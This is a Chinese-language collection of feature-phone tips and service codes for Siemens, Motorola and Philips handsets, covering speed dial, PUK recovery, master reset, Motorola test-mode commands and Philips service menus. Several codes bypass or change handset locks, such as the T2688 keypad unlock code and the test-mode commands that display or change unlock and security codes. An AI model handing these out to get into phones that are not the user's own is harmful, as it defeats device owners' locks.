  长按[0]会出现+字,并可用左软键来选择国家长话代码(位置依英文名称排列)。
  快捷键设定 :[数字键]→[左软键]→[右软键](变更)此時会出現选项,选择即可(若是选择电话号

码,则进入电话簿可选择要快速发射的电话名称)
  使用 [数字键]→[发射键]即可。
  西门子手机锁机解锁方法
  请需要解锁的网友,将解锁码在开机状态下<插不插SIM卡无所谓>直接输入手机,然后等候自动解锁,

时间约1秒至60分钟不等
  
  ★ 如何解除摩托罗拉手机的PIN密码
    当你的设置的PIN不小心遗忘了,或别人在你的手机上设置了PIN等,这时PUK就帮了大忙了。在输

错三次的PIN后则手机上会显示SIM卡已锁,这时你必须要通过PUK来解锁了。PUK为8位数字的码一般在大卡

的背面,如果找不到的话要尽快到当地的客服中心查询,切不可乱输,因为PUK只有10次输错的机会,输错

10次则SIM卡报销。摩托罗拉手机一般在输入PUK之前都必须先输入**05*再输PUK,格式如下:**05*PUK即可


  ★ 摩托罗拉手机的主清除与主复位
    无论你的摩托罗拉手机上做了任何的设置,造成了如:不能正常拔入拔出,来电显示乱码,或无法

删除电话本,等等,您都可以用以下方法复原。
    MENU键+5+1(2)屏幕则会显示“主清除或主复位”如选择主清除将会执行以下操作:
    1、从话机记忆中清除电话本项目。
    2、清除最后呼出号码及最后呼入号码。
    3、可清零计时表。
  
    但不能清除的功能有:固定号码表、本机号码表、计费表、收到和传出的短消息。
    选择主复位,将执行以下:
    1、返回最初的语言选择。
    2、铃音恢复标准音量复为中,网络查找频度恢复为中,取消自动应答,声音提示计,时通话中显

示计费,节电,自动免提,自动加锁,小区广播及通话传真方式。
  ★ 摩托罗拉 T2688 键盘解锁
    T2688有通过键盘解锁的功能,只要输入:19980722 即可,不过它只支持当前的卡解琐,无法实现

手机的全复位。
  ★ MOTOROLA GSM手机的测试指令
    测试状态的进入:
    插入测试SIM卡后打开手机电源,当内部自动“叫醒”功能顺利完成后,按“#”键三秒钟。
    三秒钟后手机显示“TEST”,表明手机已进入测试状态,
   测试指令如下:
  01#:退出测试状态
  02xxyy:显示/改变Tx功率电平DAC与装入PA校准表,类似于ETACS 72#指令
  07#:关闭Rx Audio通道
  08#:打开Rx Audio通道
  09#:关闭Tx Audio通道
  10#:打开Tx Audio通道
  11ABC#:设置信道 ABC=000~124
  12AB#:设置功率级电平 AB=00~15
  19#:显示呼叫处理器软件版本
  20#:显示调制解调器软件版本
  22#:显示语音编解码器软件版本
  82#:看U801的版本号
  24A#:设置AGC步进 A=0 or 1
  25ABC#:将连续的AGC置为ABC,ABC=0~255
  26ABCD#:将连续的AFC置为ABCD,ABCD=0~4095
  31A#:设定时隙为A,A=0~7
  33ABC#:单步捕捉ABC信道
  36#:打开音频环路
  37#:中止测试
  38#:激活SIM卡
  39#:使SIM卡失效
  40#:发射全“1”信息
  41#:发射全“0”信息
  43A#:改变Audio通道至A
  45ABC#:读取信道ABC上的信号强度,ABC=0~124
  46#:显示当前AFC DAC的值
  47A#:设置音量A=0~7
  490#:读锂电池信息
  57#:清除保留内存,相当于ETACS的32#指令
  58ABCDEF#:设置保密码为ABCDEF
  59ABCD#:显示/改变解锁码
  60#:显示IMEI(国际移动设备识别码)
  65#:显示IMSI
  7100#:手机自检,03、04为Modem IC错误,05、06为SpeechCode IC错误,07为软件错误必需转移卡

,08为手机正常,00、01为CPU错误。
  
  飞利浦手机秘籍
  ◆显示IMEI号:*#06#
  ◆显示状态行 *#2254*#: C, BS, RR, MMI, CREAT.
  ◆激活或关闭调试呼叫(DEBUG CALL)模式 *#2255*#
  ◆显示总通话时间 *#2558*#
  ◆强迫重新接入网络 *#2562*#
  ◆显示和更改手机的保密码 *#7489*#
  ◆显示一些SIM卡信息,例如相位等级(phase level)*#7378*#
  ◆获取SIM卡锁信息,初始化和标志 *#3377*#
  ◆激活和关闭睡眠模式 *#7693*#
  ◆获取睡眠模式信息 *#8463*#